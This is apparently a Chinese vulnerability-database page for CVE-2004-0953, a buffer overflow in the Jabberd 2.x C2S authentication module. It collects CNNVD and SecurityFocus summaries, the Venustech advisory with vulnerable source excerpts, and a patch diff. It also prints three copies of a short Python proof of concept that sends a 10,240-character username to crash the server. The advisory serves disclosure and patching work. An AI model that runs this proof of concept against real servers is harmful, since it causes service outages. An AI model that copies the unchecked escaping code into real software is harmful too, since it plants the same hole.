CVE-2004-0953
CVSS10.0
发布时间 :2005-01-10 00:00:00
修订时间 :2016-10-17 22:50:07
NMCOEPS    

[原文]Buffer overflow in the C2S module in the open source Jabber 2.x server (Jabberd) allows remote attackers to cause a denial of service (application crash) or possibly execute arbitrary code via a long username.


[CNNVD]Jabber C2S 缓冲区溢出漏洞(CNNVD-200501-133)

        Jabber是一款开源的基于MXPP的即时通讯服务器端软件。
        Jabber 2.x服务器(Jabberd)中C2S模块存在缓冲区溢出漏洞。
        远程攻击者可通过超长的用户名导致应用程序崩溃,引发拒绝服务,也可能利用此漏洞执行任意代码。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0953
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-0953
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200501-133
(官方数据源) CNNVD

- 其它链接及资源

http://lists.grok.org.uk/pipermail/full-disclosure/2004-November/029346.html
(UNKNOWN)  FULLDISC  20041124 Jabberd2.x remote BuffJabberd2.x remote Buffer Overflowser Overflows
http://marc.info/?l=bugtraq&m=110144303826709&w=2
(UNKNOWN)  BUGTRAQ  20041124 Jabberd2.x remote BuffJabberd2.x remote Buffer Overflowser Overflows
http://www.securityfocus.com/bid/11741
(VENDOR_ADVISORY)  BID  11741
http://xforce.iss.net/xforce/xfdb/18238
(VENDOR_ADVISORY)  XF  jabberd2-c2s-bo(18238)

- 漏洞信息

Jabber C2S 缓冲区溢出漏洞
危急 缓冲区溢出
2005-01-10 00:00:00 2005-10-20 00:00:00
远程  
        Jabber是一款开源的基于MXPP的即时通讯服务器端软件。
        Jabber 2.x服务器(Jabberd)中C2S模块存在缓冲区溢出漏洞。
        远程攻击者可通过超长的用户名导致应用程序崩溃,引发拒绝服务,也可能利用此漏洞执行任意代码。

- 公告与补丁

        暂无数据

- 漏洞信息 (24770)

Jabber Server 2.0 Multiple Remote Buffer Overflow Vulnerabilities (EDBID:24770)
windows dos
2004-11-24 Verified
0 icbm
N/A [点击下载]
source: http://www.securityfocus.com/bid/11741/info

Multiple remote buffer overflow vulnerabilities affect the Jabber Server. These issues are due to a failure of the application to properly validate the length of user-supplied strings prior to copying them into finite process buffers.

An attacker may leverage these issues to execute arbitrary code on a computer with the privileges of the server process. This may facilitate unauthorized access or privilege escalation.

#!/usr/bin/python
import xmpp
name = 'a'*10240
# Born a client
cl=xmpp.Client('localhost')
if not cl.connect(server=('192.168.10.138',5222)):
raise IOError('Can not connect to server.') 
if not cl.auth(name,'jabberuserpassword','optional resource name'):
raise IOError('Can not auth with server.')
cl.disconnect()
		

- 漏洞信息 (F35156)

ADLAB-04002.txt (PacketStormID:F35156)
2004-12-11 00:00:00
ICBM  
advisory,remote,overflow,arbitrary
CVE-2004-0953
[点击下载]

There is a remote buffer overflow in the C2S module of Jabberd 2.x which allows attackers to crash the Jabberd sever and possibly execute arbitrary code.

[Security Advisory]


Advisory: [AD_LAB-04002]Jabberd2.x remote Buffer Overflows
Authors: icbm@venustech.com.cn
Class: Boundary Condition Error
CVE:CAN-2004-0953
Remote: Yes, could allow remote compromise

Vulnerable: Jabberd 2.*
Unvulnerable: Jabberd 1.4
Vendor: http://jabberd.jabberstudio.org/

I.INFO:
-------

Jabber 2 server (Jabberd), the latest release of the popular open source
messaging system based
on the Jabber Protocol. It has been rewritten from the ground up to be
scalable, architecturally
sound, and to support the latest protocol extensions coming out of the
JSF. The goal of Jabber
is to provide an XML protocol for synchronous and asynchronous
communication for client to
client, client to server, and server to server messaging, although the
primary use of Jabber
is instant messaging (IM).

The C2S (Client to Server) component handles communication with Jabber
clients:
1.Connects to Jabber clients
2.Passes packets to the SM
3.Authenticates clients
4.Registers users
5.Triggers activity with the SM
The C2S component connects to the Authentication Data Package (authreg)
in order to register
and authenticate users.

II.DESCRIPTION:
------------------------

There is a remote buffer overflow in the C2S module of Jabberd2.x which
allows attackers to
crash the Jabberd sever or even run an arbitrary code on it.

The nature of this vulnerability lies in the fact that an attacker can
bypass the length check
of a username and the password and supply a very long username to the
server which directly handles
the long username with the database relate function like
mysql_real_escape_string, PQescapeString
etc. and then cause a remote buffer overflow.


III.DETAILS:
-----------------

In the Authreg.c(c2s) file the jabberd server cuts the length of the
username with this:

    snprintf(username, 1024, "%.*s", NAD_CDATA_L(nad, elem),
NAD_CDATA(nad, elem));

So we believe the max length of the username is 1024, so the fist
problem is in the
authreg_mysql.c

static MYSQL_RES *_ar_mysql_get_user_tuple(authreg_t ar, char *username,
char *realm) {
    mysqlcontext_t ctx = (mysqlcontext_t) ar->private;
    MYSQL *conn = ctx->conn;
    char euser[513], erealm[513], sql[2049]; //euser and erealm only 513
long
    MYSQL_RES *res;

    if(mysql_ping(conn) != 0) {
        log_write(ar->c2s->log, LOG_ERR, "mysql: connection to database
lost");
        return NULL;
    }

    mysql_real_escape_string(conn, euser, username,
strlen(username));//Thers is the buffer overflow
    mysql_real_escape_string(conn, erealm, realm, strlen(realm));//and
there also has one.

As the user should be (strlen(username)*2)+1 long so if the username or
realm is longer than
256 bytes there will be a buffer overflow. But when we patched the hole
by increasing the user
and realm to 2049 bytes(1024*2+1) there still was a buffer overflow.

This data flow is:

_sx_sasl_scod_callback(sasl.c:501)
    |
    |----->_c2s_sx_sasl_callback(main.c:264)
        |
        |----->_ar_mysql_get_password(authreg_mysql.c:92)
            |
            |----->_ar_mysql_get_user_tuple(authreg_mysql.c:42)

So we find the essence of this problem: in the
_c2s_sx_sasl_callback(c2s/main.c) the sever directly
calls the database related function to handle the username here without
any length check.

BTW:In the file authreg_pgsql.c have the same problems, the code is below:

    char euser[513], erealm[513], sql[2049];    /* query(1024) +
euser(512) + erealm(512) + \0(1) */
    PGresult *res;

    PQescapeString(euser, username, strlen(username));
    PQescapeString(erealm, realm, strlen(realm));

IV.POC&Patch:
---------------------

Just a POC:)
#!/usr/bin/python
import xmpp
name = 'a'*10240
# Born a client
cl=xmpp.Client('localhost')
if not cl.connect(server=('192.168.10.138',5222)):
    raise IOError('Can not connect to server.')
if not cl.auth(name,'jabberuserpassword','optional resource name'):
    raise IOError('Can not auth with server.')
cl.disconnect()

Stephen Marquard gave a rapidly patch on this issue:

diff -ru c2sorig/authreg.c c2s/authreg.c
--- c2sorig/authreg.c    Mon Nov 22 15:53:34 2004
+++ c2s/authreg.c    Mon Nov 22 20:06:25 2004
@@ -623,7 +623,7 @@
         log_write(c2s->log, LOG_NOTICE, "[%d] created user: user=%s;
realm=%s", sess->s->tag, username, sess->realm);

     /* extract the password */
-    snprintf(password, 1024, "%.*s", NAD_CDATA_L(nad, elem),
NAD_CDATA(nad, elem));
+    snprintf(password, 257, "%.*s", NAD_CDATA_L(nad, elem),
NAD_CDATA(nad, elem));

     /* change it */
     if((c2s->ar->set_password)(c2s->ar, username, sess->realm,
password) != 0)
diff -ru c2sorig/authreg_mysql.c c2s/authreg_mysql.c
--- c2sorig/authreg_mysql.c    Mon Nov 22 15:53:34 2004
+++ c2s/authreg_mysql.c    Mon Nov 22 16:55:37 2004
@@ -24,6 +24,10 @@

#ifdef STORAGE_MYSQL

+#define MYSQL_LU  1024   /* maximum length of username - should
correspond to field length */
+#define MYSQL_LR   256   /* maximum length of realm - should correspond
to field length */
+#define MYSQL_LP   256   /* maximum length of password - should
correspond to field length */
+
#include <mysql.h>

typedef struct mysqlcontext_st {
@@ -42,7 +46,8 @@
static MYSQL_RES *_ar_mysql_get_user_tuple(authreg_t ar, char
*username, char *realm) {
     mysqlcontext_t ctx = (mysqlcontext_t) ar->private;
     MYSQL *conn = ctx->conn;
-    char euser[2049], erealm[2049], sql[5121];  /* query(1024) +
euser(2048) + erealm(2048) + \0(1) */
+    char iuser[MYSQL_LU+1], irealm[MYSQL_LR+1];
+    char euser[MYSQL_LU*2+1], erealm[MYSQL_LR*2+1], sql[1024 +
MYSQL_LU*2 + MYSQL_LR*2 + 1];  /* query(1024) + euser + erealm + \0(1) */
     MYSQL_RES *res;

     if(mysql_ping(conn) != 0) {
@@ -50,8 +55,11 @@
         return NULL;
     }

-    mysql_real_escape_string(conn, euser, username, strlen(username));
-    mysql_real_escape_string(conn, erealm, realm, strlen(realm));
+    snprintf(iuser, MYSQL_LU+1, "%s", username);
+    snprintf(irealm, MYSQL_LR+1, "%s", realm);
+
+    mysql_real_escape_string(conn, euser, iuser, strlen(iuser));
+    mysql_real_escape_string(conn, erealm, irealm, strlen(irealm));

     sprintf(sql, ctx->sql_select, euser, erealm);

@@ -127,15 +135,21 @@
static int _ar_mysql_set_password(authreg_t ar, char *username, char
*realm, char password[257]) {
     mysqlcontext_t ctx = (mysqlcontext_t) ar->private;
     MYSQL *conn = ctx->conn;
-    char euser[2049], erealm[2049], epass[513], sql[5633];  /*
query(1024) + euser(2048) + erealm(2048) + epass(512) + \0(1) */
+    char iuser[MYSQL_LU+1], irealm[MYSQL_LR+1];
+    char euser[MYSQL_LU*2+1], erealm[MYSQL_LR*2+1], epass[513],
sql[1024+MYSQL_LU*2+MYSQL_LR*2+512+1];  /* query(1024) + euser + erealm
+ epass(512) + \0(1) */

     if(mysql_ping(conn) != 0) {
         log_write(ar->c2s->log, LOG_ERR, "mysql: connection to database
lost");
         return 1;
     }

-    mysql_real_escape_string(conn, euser, username, strlen(username));
-    mysql_real_escape_string(conn, erealm, realm, strlen(realm));
+    snprintf(iuser, MYSQL_LU+1, "%s", username);
+    snprintf(irealm, MYSQL_LR+1, "%s", realm);
+
+    password[256]= '\0';
+
+    mysql_real_escape_string(conn, euser, iuser, strlen(iuser));
+    mysql_real_escape_string(conn, erealm, irealm, strlen(irealm));
     mysql_real_escape_string(conn, epass, password, strlen(password));

     sprintf(sql, ctx->sql_setpassword, epass, euser, erealm);
@@ -195,15 +209,19 @@
static int _ar_mysql_set_zerok(authreg_t ar, char *username, char
*realm, char hash[41], char token[11], int sequence) {
     mysqlcontext_t ctx = (mysqlcontext_t) ar->private;
     MYSQL *conn = ctx->conn;
-    char euser[2049], erealm[2049], ehash[81], etoken[21], sql[5233];
/* query(1024) + euser(2048) + erealm(2048) + ehash(80) + etoken(20) +
sequence(12) + \0(1) */
+    char iuser[MYSQL_LU+1], irealm[MYSQL_LR+1];
+    char euser[MYSQL_LU*2+1], erealm[MYSQL_LR*2+1], ehash[81],
etoken[21], sql[1024+MYSQL_LU*2+MYSQL_LR*2+80+20+12+1]; /* query(1024) +
euser + erealm + ehash(80) + etoken(20) + sequence(12) + \0(1) */

     if(mysql_ping(conn) != 0) {
         log_write(ar->c2s->log, LOG_ERR, "mysql: connection to database
lost");
         return 1;
     }

-    mysql_real_escape_string(conn, euser, username, strlen(username));
-    mysql_real_escape_string(conn, erealm, realm, strlen(realm));
+    snprintf(iuser, MYSQL_LU+1, "%s", username);
+    snprintf(irealm, MYSQL_LR+1, "%s", realm);
+
+    mysql_real_escape_string(conn, euser, iuser, strlen(iuser));
+    mysql_real_escape_string(conn, erealm, irealm, strlen(irealm));
     mysql_real_escape_string(conn, ehash, hash, strlen(hash));
     mysql_real_escape_string(conn, etoken, token, strlen(token));

@@ -222,7 +240,8 @@
static int _ar_mysql_create_user(authreg_t ar, char *username, char
*realm) {
     mysqlcontext_t ctx = (mysqlcontext_t) ar->private;
     MYSQL *conn = ctx->conn;
-    char euser[2049], erealm[2049], sql[5121];    /* query(1024) +
euser(2048) + erealm(2048) + \0(1) */
+    char iuser[MYSQL_LU+1], irealm[MYSQL_LR+1];
+    char euser[MYSQL_LU*2+1], erealm[MYSQL_LR*2+1],
sql[1024+MYSQL_LU*2+MYSQL_LR*2+1];    /* query(1024) + euser + erealm +
\0(1) */
     MYSQL_RES *res = _ar_mysql_get_user_tuple(ar, username, realm);

     if(res != NULL) {
@@ -237,8 +256,11 @@
         return 1;
     }

-    mysql_real_escape_string(conn, euser, username, strlen(username));
-    mysql_real_escape_string(conn, erealm, realm, strlen(realm));
+    snprintf(iuser, MYSQL_LU+1, "%s", username);
+    snprintf(irealm, MYSQL_LR+1, "%s", realm);
+
+    mysql_real_escape_string(conn, euser, iuser, strlen(iuser));
+    mysql_real_escape_string(conn, erealm, irealm, strlen(irealm));

     sprintf(sql, ctx->sql_create, euser, erealm);

@@ -255,15 +277,19 @@
static int _ar_mysql_delete_user(authreg_t ar, char *username, char
*realm) {
     mysqlcontext_t ctx = (mysqlcontext_t) ar->private;
     MYSQL *conn = ctx->conn;
-    char euser[2049], erealm[2049], sql[5121];    /* query(1024) +
euser(2048) + erealm(2048) + \0(1) */
+    char iuser[MYSQL_LU+1], irealm[MYSQL_LR+1];
+    char euser[MYSQL_LU*2+1], erealm[MYSQL_LR*2+1],
sql[1024+MYSQL_LU*2+MYSQL_LR*2+1];    /* query(1024) + euser + erealm +
\0(1) */

     if(mysql_ping(conn) != 0) {
         log_write(ar->c2s->log, LOG_ERR, "mysql: connection to database
lost");
         return 1;
     }

-    mysql_real_escape_string(conn, euser, username, strlen(username));
-    mysql_real_escape_string(conn, erealm, realm, strlen(realm));
+    snprintf(iuser, MYSQL_LU+1, "%s", username);
+    snprintf(irealm, MYSQL_LR+1, "%s", realm);
+
+    mysql_real_escape_string(conn, euser, iuser, strlen(iuser));
+    mysql_real_escape_string(conn, erealm, irealm, strlen(irealm));

     sprintf(sql, ctx->sql_delete, euser, erealm);

diff -ru c2sorig/authreg_pgsql.c c2s/authreg_pgsql.c
--- c2sorig/authreg_pgsql.c    Mon Nov 22 15:53:34 2004
+++ c2s/authreg_pgsql.c    Mon Nov 22 16:52:20 2004
@@ -26,6 +26,10 @@

#include <libpq-fe.h>

+#define PGSQL_LU  1024   /* maximum length of username - should
correspond to field length */
+#define PGSQL_LR   256   /* maximum length of realm - should correspond
to field length */
+#define PGSQL_LP   256   /* maximum length of password - should
correspond to field length */
+
typedef struct pgsqlcontext_st {
   PGconn * conn;
   char * sql_create;
@@ -42,11 +46,16 @@
static PGresult *_ar_pgsql_get_user_tuple(authreg_t ar, char *username,
char *realm) {
     pgsqlcontext_t ctx = (pgsqlcontext_t) ar->private;
     PGconn *conn = ctx->conn;
-    char euser[2049], erealm[2049], sql[5121];  /* query(1024) +
euser(2048) + erealm(2048) + \0(1) */
+
+    char iuser[PGSQL_LU+1], irealm[PGSQL_LR+1];
+    char euser[PGSQL_LU*2+1], erealm[PGSQL_LR*2+1],
sql[1024+PGSQL_LU*2+PGSQL_LR*2+1];  /* query(1024) + euser + erealm +
\0(1) */
     PGresult *res;

-    PQescapeString(euser, username, strlen(username));
-    PQescapeString(erealm, realm, strlen(realm));
+    snprintf(iuser, PGSQL_LU+1, "%s", username);
+    snprintf(irealm, PGSQL_LR+1, "%s", realm);
+
+    PQescapeString(euser, iuser, strlen(iuser));
+    PQescapeString(erealm, irealm, strlen(irealm));

     sprintf(sql, ctx->sql_select, euser, erealm);

@@ -114,11 +123,15 @@
static int _ar_pgsql_set_password(authreg_t ar, char *username, char
*realm, char password[257]) {
     pgsqlcontext_t ctx = (pgsqlcontext_t) ar->private;
     PGconn *conn = ctx->conn;
-    char euser[2049], erealm[2049], epass[513], sql[5633];  /*
query(1024) + euser(2048) + erealm(2048) + epass(512) + \0(1) */
+    char iuser[PGSQL_LU+1], irealm[PGSQL_LR+1];
+    char euser[PGSQL_LU*2+1], erealm[PGSQL_LR*2+1], epass[513],
sql[1024+PGSQL_LU*2+PGSQL_LR*2+512+1];  /* query(1024) + euser + erealm
+ epass(512) + \0(1) */
     PGresult *res;

-    PQescapeString(euser, username, strlen(username));
-    PQescapeString(erealm, realm, strlen(realm));
+    snprintf(iuser, PGSQL_LU+1, "%s", username);
+    snprintf(irealm, PGSQL_LR+1, "%s", realm);
+
+    PQescapeString(euser, iuser, strlen(iuser));
+    PQescapeString(erealm, irealm, strlen(irealm));
     PQescapeString(epass, password, strlen(password));

     sprintf(sql, ctx->sql_setpassword, epass, euser, erealm);
@@ -177,11 +190,15 @@
static int _ar_pgsql_set_zerok(authreg_t ar, char *username, char
*realm, char hash[41], char token[11], int sequence) {
     pgsqlcontext_t ctx = (pgsqlcontext_t) ar->private;
     PGconn *conn = ctx->conn;
-    char euser[2049], erealm[2049], ehash[81], etoken[21], sql[5233];
/* query(1024) + euser(2048) + erealm(2048) + ehash(80) + etoken(20) +
sequence(12) + \0(1) */
+    char iuser[PGSQL_LU+1], irealm[PGSQL_LR+1];
+    char euser[PGSQL_LU*2+1], erealm[PGSQL_LR*2+1], ehash[81],
etoken[21], sql[1024 + PGSQL_LU*2 + PGSQL_LR*2 + 80 + 20 + 12 + 1]; /*
query(1024) + euser + erealm + ehash(80) + etoken(20) + sequence(12) +
\0(1) */
     PGresult *res;

-    PQescapeString(euser, username, strlen(username));
-    PQescapeString(erealm, realm, strlen(realm));
+    snprintf(iuser, PGSQL_LU+1, "%s", username);
+    snprintf(irealm, PGSQL_LR+1, "%s", realm);
+
+    PQescapeString(euser, iuser, strlen(iuser));
+    PQescapeString(erealm, irealm, strlen(irealm));
     PQescapeString(ehash, hash, strlen(hash));
     PQescapeString(etoken, token, strlen(token));

@@ -210,7 +227,8 @@
static int _ar_pgsql_create_user(authreg_t ar, char *username, char
*realm) {
     pgsqlcontext_t ctx = (pgsqlcontext_t) ar->private;
     PGconn *conn = ctx->conn;
-    char euser[2049], erealm[2049], sql[5121];    /* query(1024) +
euser(2048) + erealm(2048) + \0(1) */
+    char iuser[PGSQL_LU+1], irealm[PGSQL_LR+1];
+    char euser[PGSQL_LU*2+1], erealm[PGSQL_LR*2+1],
sql[1024+PGSQL_LU*2+PGSQL_LR*2+1];  /* query(1024) + euser + erealm +
\0(1) */
     PGresult *res;

     res = _ar_pgsql_get_user_tuple(ar, username, realm);
@@ -221,8 +239,11 @@

     PQclear(res);

-    PQescapeString(euser, username, strlen(username));
-    PQescapeString(erealm, realm, strlen(realm));
+    snprintf(iuser, PGSQL_LU+1, "%s", username);
+    snprintf(irealm, PGSQL_LR+1, "%s", realm);
+
+    PQescapeString(euser, iuser, strlen(iuser));
+    PQescapeString(erealm, irealm, strlen(irealm));

     sprintf(sql, ctx->sql_create, euser, erealm);

@@ -249,11 +270,15 @@
static int _ar_pgsql_delete_user(authreg_t ar, char *username, char
*realm) {
     pgsqlcontext_t ctx = (pgsqlcontext_t) ar->private;
     PGconn *conn = ctx->conn;
-    char euser[2049], erealm[2049], sql[5121];    /* query(1024) +
euser(2048) + erealm(2048) + \0(1) */
+    char iuser[PGSQL_LU+1], irealm[PGSQL_LR+1];
+    char euser[PGSQL_LU*2+1], erealm[PGSQL_LR*2+1],
sql[1024+PGSQL_LU*2+PGSQL_LR*2+1];    /* query(1024) + euser + erealm +
\0(1) */
     PGresult *res;

-    PQescapeString(euser, username, strlen(username));
-    PQescapeString(erealm, realm, strlen(realm));
+    snprintf(iuser, PGSQL_LU+1, "%s", username);
+    snprintf(irealm, PGSQL_LR+1, "%s", realm);
+
+    PQescapeString(euser, iuser, strlen(iuser));
+    PQescapeString(erealm, irealm, strlen(irealm));

     sprintf(sql, ctx->sql_delete, euser, erealm);


V.CREDIT:
----------------

Thanks to Alex, Simon and rob@cataclysm.cx help me on this and Stephen
Marquard's rapidly patch.
Sam, Air, Kkqq, Swan, Flashsky, S0f, Cjj and all Venustech AD-Lab guys
and "Niubi" Houzi!:)
And my LeiLei...

VI.DISCLAIMS:
----------------------

The information in this bulletin is provided "AS IS" without warranty of any
kind. In no event shall we be liable for any damages whatsoever
including direct,
indirect, incidental, consequential, loss of business profits or special
damages.

Copyright 1996-2004 VENUSTECH. All Rights Reserved. Terms of use.

VENUSTECH Security Lab
VENUSTECH INFORMATION TECHNOLOGY CO.,LTD(http://www.venustech.com.cn)

              Security
Trusted  {Solution} Provider
              Service
    

- 漏洞信息

12129
jabberd C2S Username Overflow
Input Manipulation
Loss of Integrity

- 漏洞描述

Unknown or Incomplete

- 时间线

2004-11-22 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Jabber Server Multiple Remote Buffer Overflow Vulnerabilities
Boundary Condition Error 11741
Yes No
2004-11-24 12:00:00 2009-07-12 08:06:00
The discovery of these issues is credited to icbm <icbm@0x557.org>.

- 受影响的程序版本

Jabber Software Foundation Jabber Server 2.0

- 漏洞讨论

Multiple remote buffer overflow vulnerabilities affect the Jabber Server. These issues are due to a failure of the application to properly validate the length of user-supplied strings prior to copying them into finite process buffers.

An attacker may leverage these issues to execute arbitrary code on a computer with the privileges of the server process. This may facilitate unauthorized access or privilege escalation.

- 漏洞利用

The following proof of concept has been made available:

#!/usr/bin/python
import xmpp
name = 'a'*10240
# Born a client
cl=xmpp.Client('localhost')
if not cl.connect(server=('192.168.10.138',5222)):
raise IOError('Can not connect to server.')
if not cl.auth(name,'jabberuserpassword','optional resource name'):
raise IOError('Can not auth with server.')
cl.disconnect()

Currently we are not aware of any exploits for these issues. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com &lt;mailto:vuldb@securityfocus.com&gt;.

- 解决方案

Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站